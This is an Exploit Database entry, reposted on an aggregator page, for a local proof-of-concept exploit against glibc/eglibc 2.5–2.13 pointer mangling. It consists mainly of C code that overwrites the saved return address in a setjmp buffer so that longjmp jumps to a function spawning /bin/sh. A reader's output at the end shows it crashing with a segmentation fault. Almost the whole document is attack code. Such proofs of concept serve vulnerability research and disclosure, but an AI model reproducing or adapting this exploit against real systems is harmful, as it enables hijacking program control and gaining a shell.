glibc and eglibc 2.5/2.7/2.13 – Local Buffer Overflow

• Exploit Database
• 19 阅读

• 作者： Hector Marco & Ismael Ripoll
  日期： 2013-09-30
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/28657/

• /*
   * 
   * Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry.
   *
   * $FILE: bug-mangle.c
   *
   * Comment: Proof of concept
   *
   * $VERSION$
   *
   * Author: Hector Marco <hecmargi@upv.es>
   * Ismael Ripoll <iripoll@disca.upv.es>
   *
   * $LICENSE:
   * This program is free software; you can redistribute it and/or modify
   * it under the terms of the GNU General Public License as published by
   * the Free Software Foundation; either version 2 of the License, or
   * (at your option) any later version.
   *
   * This program is distributed in the hope that it will be useful,
   * but WITHOUT ANY WARRANTY; without even the implied warranty of
   * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
   * GNU General Public License for more details.
   *
   * You should have received a copy of the GNU General Public License
   * along with this program; if not, write to the Free Software
   * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
   */
  
  #include <stdio.h>
  #include <setjmp.h>
  #include <stdint.h>
  #include <limits.h>
  
  #ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
  #elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
  #else
   #error The exploit does not support this architecture
  #endif
  
  unsigned long rol(uintptr_t value) {
   return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
  }
  
  int hacked(){
   printf("[+] hacked !!\n");
   system("/bin/sh");
  }
  
  int main(void){
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);
  
   printf("[+] Exploiting ...\n");
   if(setjmp(env) == 1){
  printf("[-] Exploit failed.\n");
  return 0;
   }
  
   /*Overwrie env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);
  
   longjmp(env, 1);
  
   printf("[-] Exploit failed.\n");
   return 0;
  }
  
  ####################################################################################################################
  #
  # Reader submitted results
  /*
  
  [522] user@his-system ~ $ ./POC
  [+] Exploiting ...
  Segmentation fault
  [523] user@his-system ~ $ ldd POC
  linux-vdso.so.1 => (0x00007fffab5fd000)
  libc.so.6 => /lib64/libc.so.6 (0x0000003269800000)
  /lib64/ld-linux-x86-64.so.2 (0x0000003269400000)
  [525] user@his-system ~ $ uname -a
  Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux
  [526] user@his-system ~ $
  
  [526] user@his-system ~ $ grep vsys /proc/self/maps
  ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
  ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall]
  
  */